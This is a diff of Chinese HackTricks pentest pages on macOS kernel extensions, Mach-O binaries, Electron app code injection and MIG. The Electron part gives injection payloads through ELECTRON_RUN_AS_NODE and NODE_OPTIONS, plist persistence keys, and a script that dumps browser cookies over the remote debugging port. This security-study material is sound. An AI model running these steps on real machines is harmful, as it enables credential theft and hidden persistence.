* **进入恢复模式**时,必须**允许加载内核扩展**
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* 内核扩展必须使用**内核代码签名证书**进行**签名**,这只能由**苹果**授予。苹果将详细审查公司和需原因。
* 内核扩展还必须经过**公证**,苹果将检查其是否含恶意软件。
* 然后,**root**用户可以**加载内核扩展**的用户,软件包中的文件必须**属于root**。
* 在上传过程中,软件包必须准备在**受保护的非root位置**`/Library/StagedExtensions`(需要`com.apple.rootless.storage.KernelExtensionManagement`授权)。
* 最后,在尝试加载时,用户将收到[**确认请求**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html),如果接受,必须**重新启动**计算机加载它。
* 内核扩展必须使用**内核代码签名证书**进行**签名**,这只能由**苹果**授予。苹果将详细审查公司和需要的原因。
* 内核扩展还必须经过**公证**,苹果将检查其是否含恶意软件。
* 然后,**root**用户可以**加载内核扩展**,软件包中的文件必须**属于root**。
* 在上传过程中,软件包必须准备在**受保护的非位置**`/Library/StagedExtensions`(需要`com.apple.rootless.storage.KernelExtensionManagement`授权)。
* 最后,在尝试加载时,用户将收到[**确认请求**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html),如果接受,必须**重新启动**计算机才能加载它。
### 加载过程
@ -39,7 +39,7 @@
2. **`kextd`** 将检查多个内容,如**签名**
* 它将与**`syspolicyd`**通信以**检查**是否可以**加载**扩展。
3. **`syspolicyd`** 将**提示用户**,如果扩展之前未加载。
* **`syspolicyd`** 将结果报告给**`kextd`**
* **`syspolicyd`**将结果报告给**`kextd`**
4. **`kextd`** 最终可以告诉内核**加载**扩展
如果**`kextd`**不可用,**`kextutil`**可以执行相同的检查。
@ -53,10 +53,10 @@
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗想要在HackTricks上宣传您的**公司**吗?或者想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 您在**网络安全公司**工作吗想要在HackTricks上宣传您的**公司**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 探索我们独家的[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取官方的[PEASS和HackTricks**周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**或[**电报群**](https://t.me/peass)或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* 获取官方的[PEASS和HackTricks**品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群** 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)发送PR来分享您的黑客技巧。
</details>

View file

@ -2,27 +2,27 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## 基本信息
Mac OS二进制文件通常被编译为**通用二进制文件**。**通用二进制文件**可以在同一文件中**支持多种架构**。
Mac OS二进制文件通常被编译为**通用二进制文件**。**通用二进制文件**可以在同一文件中**支持多种架构**。
这些二进制文件遵循**Mach-O结构**,基本上由以下部分组成:
这些二进制文件遵循**Mach-O结构**,基本上由以下组成:
- 头部Header
- 装载命令Load Commands
- 数据Data
- 头部
- 装载命令
- 数据
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
@ -35,7 +35,7 @@ Mac OS二进制文件通常被编译为**通用二进制文件**。**通用二
</strong>
struct fat_header {
<strong> uint32_t magic; /* FAT_MAGIC or FAT_MAGIC_64 */
</strong><strong> uint32_t nfat_arch; /* 后续结构的数量 */
</strong><strong> uint32_t nfat_arch; /* 后面跟随的结构体数量 */
</strong>};
struct fat_arch {
@ -47,7 +47,7 @@ uint32_t align; /* 2的幂对齐 */
};
</code></pre>
头部包含**魔数**后跟文件**包含的架构数**`nfat_arch`),每个架构都将有一个`fat_arch`结构。
头部包含**魔术**字节,后跟文件**包含的**架构数`nfat_arch`),每个架构都将有一个`fat_arch`结构
使用以下命令检查:
@ -80,11 +80,11 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
正如您可能想的那样通常为2种架构编译的通用二进制文件**会使大小翻倍**相比于仅为1种架构编译的情况
正如您可能想通常为2种架构编译的通用二进制文件**会使大小翻倍**而为单个架构编译的二进制文件
## **Mach-O头部**
头部包含有关文件的基本信息例如用于识别其为Mach-O文件的魔以及有关目标架构的信息。您可以在以下位置找到它:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
头部包含有关文件的基本信息例如用于识别其为Mach-O文件的魔术字节以及有关目标架构的信息。您可以在以下位置找到它:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c
#define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -138,12 +138,12 @@ uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */
};
```
系统处理大约**50种不同类型的加载命令**。最常见的是:`LC_SEGMENT_64`、`LC_LOAD_DYLINKER`、`LC_MAIN`、`LC_LOAD_DYLIB`和`LC_CODE_SIGNATURE`。
有大约**50种不同类型的加载命令**,系统会以不同方式处理。最常见的是:`LC_SEGMENT_64`、`LC_LOAD_DYLINKER`、`LC_MAIN`、`LC_LOAD_DYLIB`和`LC_CODE_SIGNATURE`。
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
基本上,这种类型的加载命令定义了在执行二进制文件时,根据数据部分中指示的偏移量,**如何加载\_\_TEXT**(可执行代码)**\_\_DATA**(进程数据)**段**。
基本上,这种类型的加载命令定义了在执行二进制文件时,根据数据部分中指示的偏移量,如何加载**\_\_TEXT**(可执行代码)**\_\_DATA**(进程数据)**段**。
{% endhint %}
这些命令**定义了在执行过程中映射到进程的虚拟内存空间中的段**。
@ -194,18 +194,17 @@ uint32_t reserved3; /* reserved */
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
如果**添加** **部分偏移量**0x37DC+ **arch 开始的偏移量**,在这种情况下 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
如果**添加** **部分偏移量**0x37DC+ **arch开始的偏移量**,在这种情况下 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
也可以通过**命令行**获取**头信息**。
```bash
otool -lv /bin/ls
```
```markdown
以下是由此命令加载的常见段:
- **`__PAGEZERO`** 它指示内核**映射****地址零**,因此**无法读取、写入或执行**。结构中的maxprot和minprot变量设置为零表示此页面**没有读写执行权限**。
- **`__PAGEZERO`** 它指示内核**映射**地址**零**,因此**无法读取、写入或执行**。结构中的maxprot和minprot变量设置为零表示此页面**没有读写执行权限**。
- 此分配对于**缓解空指针解引用漏洞**很重要。
- **`__TEXT`** 包含具有**读取**和**执行**权限(不可写)的**可执行代码**。此段的常见部分:
- `__text`:已编译的二进制代码
@ -221,23 +220,22 @@ otool -lv /bin/ls
### **`LC_MAIN`**
包含**entryoff属性**中的入口点。在加载时,**dyld**只需将此值**添加**到二进制文件的(内存中的)**基址**,然后**跳转**到此指令以开始执行二进制代码。
包含**entryoff属性**中的入口点。在加载时,**dyld**只需将此值**添加**到(内存中的)**二进制基址**,然后**跳转**到此指令以开始执行二进制代码。
### **LC\_CODE\_SIGNATURE**
包含有关Macho-O文件**代码签名**的信息。它只包含一个**指向签名块**的**偏移量**。这通常位于文件的末尾。\
但是,您可以在[**此博客文章**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)和[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)中找到有关此部分的一些信息。
包含有关**Macho-O文件的代码签名**的信息。它只包含一个**指向签名块**的**偏移量**。这通常位于文件的末尾。\
但是,您可以在[**此博客文章**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)和这个[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)中找到有关此部分的一些信息。
### **LC\_LOAD\_DYLINKER**
包含**动态链接器可执行文件的路径**,将共享库映射到进程地址空间。**值始终设置为`/usr/lib/dyld`**。重要的是要注意在macOS中dylib映射发生在**用户模式**,而不是内核模式
包含**动态链接器可执行文件的路径**,将共享库映射到进程地址空间。**值始终设置为`/usr/lib/dyld`**。重要的是要注意在macOS中dylib映射发生在**用户模式**,而不是内核模式。
### **`LC_LOAD_DYLIB`**
此加载命令描述了一个**动态库**依赖项,**指示**加载器dyld**加载和链接该库**。Mach-O二进制文件所需的每个库都有一个LC\_LOAD\_DYLIB加载命令。
此加载命令描述了**动态** **库** 依赖项,指示**加载器**dyld**加载和链接该库**。Mach-O二进制文件所需的每个库都有一个LC\_LOAD\_DYLIB加载命令。
- 此加载命令是**`dylib_command`**类型的结构包含描述实际依赖动态库的struct dylib
```
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -266,11 +264,11 @@ otool -L /bin/ls
- **DiskArbitration**监控USB驱动器
- **AVFoundation**:捕获音频和视频
- **CoreWLAN**WiFi扫描。
- **CoreWLAN**Wifi扫描。
{% hint style="info" %}
Mach-O二进制文件可以包含一个或多个构造函数在LC_MAIN指定的地址之前执行。\
任何构造函数的偏移量都保存在__DATA_CONST段的__mod_init_func部分中。
Mach-O二进制文件可以包含一个或**多个构造函数**这些函数将**LC\_MAIN**中指定的地址之前执行。\
任何构造函数的偏移量都保存在**\_\_DATA\_CONST**段的**\_\_mod\_init\_func**部分中。
{% endhint %}
## **Mach-O数据**
@ -278,16 +276,16 @@ Mach-O二进制文件可以包含一个或多个构造函数在LC_MAIN指定
文件的核心是数据区域,由加载命令区域中定义的几个段组成。**每个段中可以包含各种数据部分**,每个部分**包含特定类型的代码或数据**。
{% hint style="success" %}
数据基本上是包含在加载命令LC_SEGMENTS_64中加载的所有**信息**的部分。
数据基本上是包含在加载命令**LC\_SEGMENTS\_64**加载的所有**信息**的部分。
{% endhint %}
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
这包括:
- **函数表**保存有关程序函数的信息。
- **符号表**:包含二进制文件使用的外部函数的信息
- 还可能包含内部函数、变量名称等。
- **函数表**包含有关程序函数的信息。
- **符号表**:包含有关二进制文件使用的外部函数的信息
- 还可能包含内部函数、变量名称等
您可以使用[Mach-O View](https://sourceforge.net/projects/machoview/)工具来检查:
@ -301,7 +299,7 @@ size -m /bin/ls
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式:
其他支持HackTricks的方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)

View file

@ -16,16 +16,16 @@
## 基本信息
如果您不知道什么是 Electron您可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道 Electron 运行 **node**。\
如果您不知道 Electron 是什么,您可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道 Electron 运行 **node**。\
而 node 具有一些可用于**使其执行其他代码**的**参数**和**环境变量**。
### Electron 保险丝
接下来将讨论这些技术,但近年来 Electron 已添加了几个**安全标志以防止它们**。这些是[**Electron 保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),这些是用于防止 macOS 中 Electron 应用程序**加载任意代码**的标志:
接下来将讨论这些技术,但近年来 Electron 已添加了几个**安全标志以防止它们**。这些是[**Electron 保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),这些是用于**防止** macOS 中 Electron 应用程序**加载任意代码**的标志:
- **`RunAsNode`**:如果禁用,将阻止使用环境变量 **`ELECTRON_RUN_AS_NODE`** 注入代码。
- **`EnableNodeCliInspectArguments`**:如果禁用,参数如 `--inspect`、`--inspect-brk` 将不被尊重。从而避免通过此方式注入代码。
- **`EnableEmbeddedAsarIntegrityValidation`**如果启用macOS 将验证加载的 **`asar`** **文件**。通过修改此文件的内容,以防止通过此方式注入代码
- **`EnableNodeCliInspectArguments`**:如果禁用,参数如 `--inspect`、`--inspect-brk` 将不被尊重。避免以此方式注入代码。
- **`EnableEmbeddedAsarIntegrityValidation`**如果启用macOS 将验证加载的 **`asar`** **文件**。通过这种方式**防止**通过修改此文件的内容进行**代码注入**
- **`OnlyLoadAppFromAsar`**:如果启用,将仅检查和使用 app.asar而不是按照以下顺序搜索加载**`app.asar`**、**`app`**,最后是**`default_app.asar`**。因此,当与 **`embeddedAsarIntegrityValidation`** 保险丝结合使用时,**不可能**加载未经验证的代码。
- **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。
@ -53,31 +53,31 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
正如[**文档提到的**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)**Electron 保险丝**的配置是在**Electron 二进制文件**中配置的,其中包含字符串**`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**。
在 macOS 应用程序中,通常位于 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
在 macOS 应用程序中,通常位于 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前述字符串。在此字符串之后,您可以在 ASCII 中看到一个数字 "0" 或 "1"示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30` 是 `0``0x31` 是 `1`)以**修改保险丝值**。
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前述字符串。在此字符串之后,您可以在 ASCII 中看到一个数字 "0" 或 "1"示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30` 是 `0``0x31` 是 `1`)以**修改保险丝值**。
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
请注意,如果您尝试**覆盖**应用程序中的**`Electron Framework` 二进制文件**则该应用程序将无法运行。
请注意,如果您尝试**覆盖**应用程序中的**`Electron Framework` 二进制文件**带有这些修改字节的应用程序将无法运行。
## RCE 添加代码到 Electron 应用程序
可能存在**外部 JS/HTML 文件**Electron 应用程序正在使用,因此攻击者可以在这些文件中注入代码,其签名不会被检查,并在应用程序的上下文中执行任意代码。
可能存在**外部 JS/HTML 文件**一个 Electron 应用程序正在使用,因此攻击者可以在这些文件中注入代码,其签名不会被检查,并在应用程序的上下文中执行任意代码。
{% hint style="danger" %}
但是,目前存在两个限制:
然而,目前存在两个限制:
* 需要**`kTCCServiceSystemPolicyAppBundles`** 权限来修改应用程序,因此默认情况下不再可能。
* 编译的 **`asap`** 文件通常具有保险丝 **`embeddedAsarIntegrityValidation`** 和 **`onlyLoadAppFromAsar`** `已启用`
* 编译的 **`asap`** 文件通常启用了保险丝 **`embeddedAsarIntegrityValidation`** 和 **`onlyLoadAppFromAsar`**
使得这种攻击路径更加复杂(或不可能)。
使得这种攻击路径变得更加复杂(或不可能)。
{% endhint %}
请注意,可以通过将应用程序复制到另一个目录(如 **`/tmp`**),将文件夹重命名为 **`app.app/Contents`** 为 **`app.app/NotCon`****修改**带有您的**恶意**代码的 **asar** 文件,将其重新命名为 **`app.app/Contents`** 并执行它来绕过**`kTCCServiceSystemPolicyAppBundles`**的要求。
请注意,可以通过将应用程序复制到另一个目录(如 **`/tmp`**),将文件夹 **`app.app/Contents`** 重命名**`app.app/NotCon`****修改**带有您的**恶意**代码的 **asar** 文件,将其重新命名为 **`app.app/Contents`** 并执行它来绕过**`kTCCServiceSystemPolicyAppBundles`**的要求。
您可以使用以下命令从 asar 文件中解压缩代码:
```bash
@ -104,7 +104,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
### 从应用程序 Plist 进行注入
正如[**在这里提出的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以滥用这个环境变量在一个 plist 文件保持持久性:
正如[**在这里提出的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以滥用这个环境变量在 plist 中保持持久性:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -131,6 +131,8 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
## 使用 `NODE_OPTIONS` 进行 RCE
您可以将恶意载荷存储在不同的文件中并执行它:
{% code overflow="wrap" %}
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
@ -141,14 +143,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
{% endcode %}
{% hint style="danger" %}
如果 **`EnableNodeOptionsEnvironmentVariable`** 保持 **禁用**,应用程序在启动时将 **忽略** 环境变量 **NODE\_OPTIONS**,除非设置了环境变量 **`ELECTRON_RUN_AS_NODE`**,如果 **`RunAsNode`** 也被禁用,那么它也将被 **忽略**
如果 **`EnableNodeOptionsEnvironmentVariable`** 保持 **禁用**,应用程序在启动时将 **忽略** 环境变量 **NODE\_OPTIONS**,除非设置了环境变量 **`ELECTRON_RUN_AS_NODE`**,如果 **`RunAsNode`** 保持禁用,那么设置了 **`ELECTRON_RUN_AS_NODE`** 也将被 **忽略**
如果不设置 **`ELECTRON_RUN_AS_NODE`**,你将会遇到这个 **错误**`Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
{% endhint %}
### 从应用程序 Plist 进行注入
### 从应用程序 Plist 注入
您可以在 plist 中滥用这个环境变量以保持持久性,添加这些键:
您可以在 plist 中滥用这个环境变量以保持持久性,添加以下键:
```xml
<dict>
<key>EnvironmentVariables</key>
@ -176,12 +178,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
如果禁用了熔丝 **`EnableNodeCliInspectArguments`**,应用程序在启动时将**忽略节点参数**(如 `--inspect`),除非设置了环境变量 **`ELECTRON_RUN_AS_NODE`**如果禁用了熔丝 **`RunAsNode`**该环境变量也将被**忽略**。
如果禁用了熔丝 **`EnableNodeCliInspectArguments`**,应用程序在启动时将**忽略节点参数**(如 `--inspect`),除非设置了环境变量 **`ELECTRON_RUN_AS_NODE`**,如果禁用了熔丝 **`RunAsNode`**则设置的环境变量也将**被忽略**。
然而,您仍然可以使用 **electron 参数 `--remote-debugging-port=9229`**,但之前的有效载荷将无法执行其他进程。
{% endhint %}
使用参数 **`--remote-debugging-port=9222`** 可以从 Electron 应用程序中窃取一些信息,如**历史记录**(使用 GET 命令)或浏览器的**cookies**(因为它们在浏览器内部**解密**,并且有一个**json端点**可以提供它们)。
使用参数 **`--remote-debugging-port=9222`** 可以从 Electron 应用程序中窃取一些信息,如**历史记录**(使用 GET 命令)或浏览器的**cookies**(因为它们在浏览器内部**解密**,并且有一个**json端点**可以提供它们)。
您可以在[**这里**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)和[**这里**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)了解如何操作,并使用自动工具 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 或类似的简单脚本:
```python
@ -191,11 +193,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
在[**这篇博文**](https://hackerone.com/reports/1274695)中,利用这种调试方法使一个无头Chrome**在任意位置下载任意文件**。
在[**这篇博文**](https://hackerone.com/reports/1274695)中,利用这种调试方法使一个无头chrome**在任意位置下载任意文件**。
### 从应用程序 Plist 进行注入
您可以滥用这个环境变量在一个 plist 中保持持久性添加这些键:
您可以滥用这个环境变量在一个 plist 中,以保持持久性添加这些键:
```xml
<dict>
<key>ProgramArguments</key>
@ -217,14 +219,14 @@ macOS 的 TCC 守护程序不会检查应用程序的执行版本。因此,如
## 运行非 JS 代码
先前的技术将允许您在 Electron 应用程序的进程中运行 JS 代码。但是,请记住,子进程在相同的沙箱配置文件下运行,继承其父应用程序的 TCC 权限。\
因此,如果您想滥用权限以访问摄像头或麦克风,您可以从进程中**运行另一个二进制文件**。
先前的技术将允许您在 Electron 应用程序的进程中运行 JS 代码。但是,请记住,**子进程在相同的沙盒配置文件下运行**,并**继承其 TCC 权限**。\
因此,如果您想滥用权限以访问摄像头或麦克风,您可以**从进程中运行另一个二进制文件**。
## 自动注入
工具 [**electroniz3r**](https://github.com/r3ggi/electroniz3r) 可轻松用于查找已安装的**易受攻击的 Electron 应用程序**并在其中注入代码。此工具将尝试使用**`--inspect`**技术:
工具 [**electroniz3r**](https://github.com/r3ggi/electroniz3r) 可轻松用于**查找已安装的易受攻击的 Electron 应用程序**并在其中注入代码。此工具将尝试使用**`--inspect`**技术:
您需要自行编译它,并可以像这样使用:
您需要自行编译它,并可以像这样使用
```bash
# Find electron apps
./electroniz3r list-apps
@ -268,14 +270,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
<details>
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上**关注我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -6,15 +6,15 @@
支持HackTricks的其他方式
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
MIG被创建用于**简化Mach IPC**代码创建过程。它基本上**生成了所需的代码**,以便服务器和客户端根据给定的定义进行通信。即使生成的代码看起来很丑陋,开发人员只需导入它,他的代码将比以前简单得多。
MIG被创建用于**简化Mach IPC**代码的生成过程。它基本上**生成了所需的代码**,以便服务器和客户端根据给定的定义进行通信。即使生成的代码看起来很丑陋,开发人员只需导入它,他的代码将比以前简单得多。
### 示例
@ -43,7 +43,7 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
在当前目录中将创建几个新文件。
在文件**`myipcServer.c`**和**`myipcServer.h`**中,您可以找到结构**`SERVERPREFmyipc_subsystem`**的声明和定义该结构基本上定义了根据接收到的消息ID调用的函数我们指定了一个起始编号为500
在文件**`myipcServer.c`**和**`myipcServer.h`**中,您可以找到结构**`SERVERPREFmyipc_subsystem`**的声明和定义该结构基本上定义了根据接收到的消息ID调用的函数我们指定了起始编号为500
```c
/* Description of this subsystem, for use in direct RPC */
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
@ -61,37 +61,7 @@ myipc_server_routine,
```
{% endtab %}
{% tab title="myipcServer.h" %}
### macOS MIG (Mach Interface Generator)
macOS MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) interfaces in macOS. It generates C code that handles the communication between processes using Mach messages.
MIG interfaces are defined in .defs files, which are then processed by the mig compiler to generate the necessary C code for the server and client sides of the IPC communication.
By understanding and manipulating MIG interfaces, an attacker could potentially abuse IPC mechanisms to escalate privileges or perform unauthorized actions on a macOS system.
### Example of a MIG Interface Definition
```c
routine myipc_server_routine {
mach_msg_header_t Head;
mach_msg_type_t Type;
int data;
} InData;
routine myipc_client_routine {
mach_msg_header_t Head;
mach_msg_type_t Type;
int data;
} OutData;
```
In this example, `myipc_server_routine` and `myipc_client_routine` are defined as MIG routines, specifying the structure of the messages exchanged between the server and client processes.
Understanding how MIG interfaces work can help security professionals in analyzing and securing IPC mechanisms in macOS applications.
{% endtab %}
{% tab title="myipcServer.h" %}在`myipcServer.h`文件中,我们定义了一个名为`myipcServer`的类该类包含了处理Mach RPC请求的方法。{% endtab %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@ -121,7 +91,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
```
在这个例子中,我们只在定义中定义了一个函数,但如果我们定义了更多函数,它们将位于**`SERVERPREFmyipc_subsystem`**数组内第一个函数将被分配给ID **500**第二个函数将被分配给ID **501**...
实际上可以在**`myipcServer.h`**中的**`subsystem_to_name_map_myipc`**结构中识别这种关系:
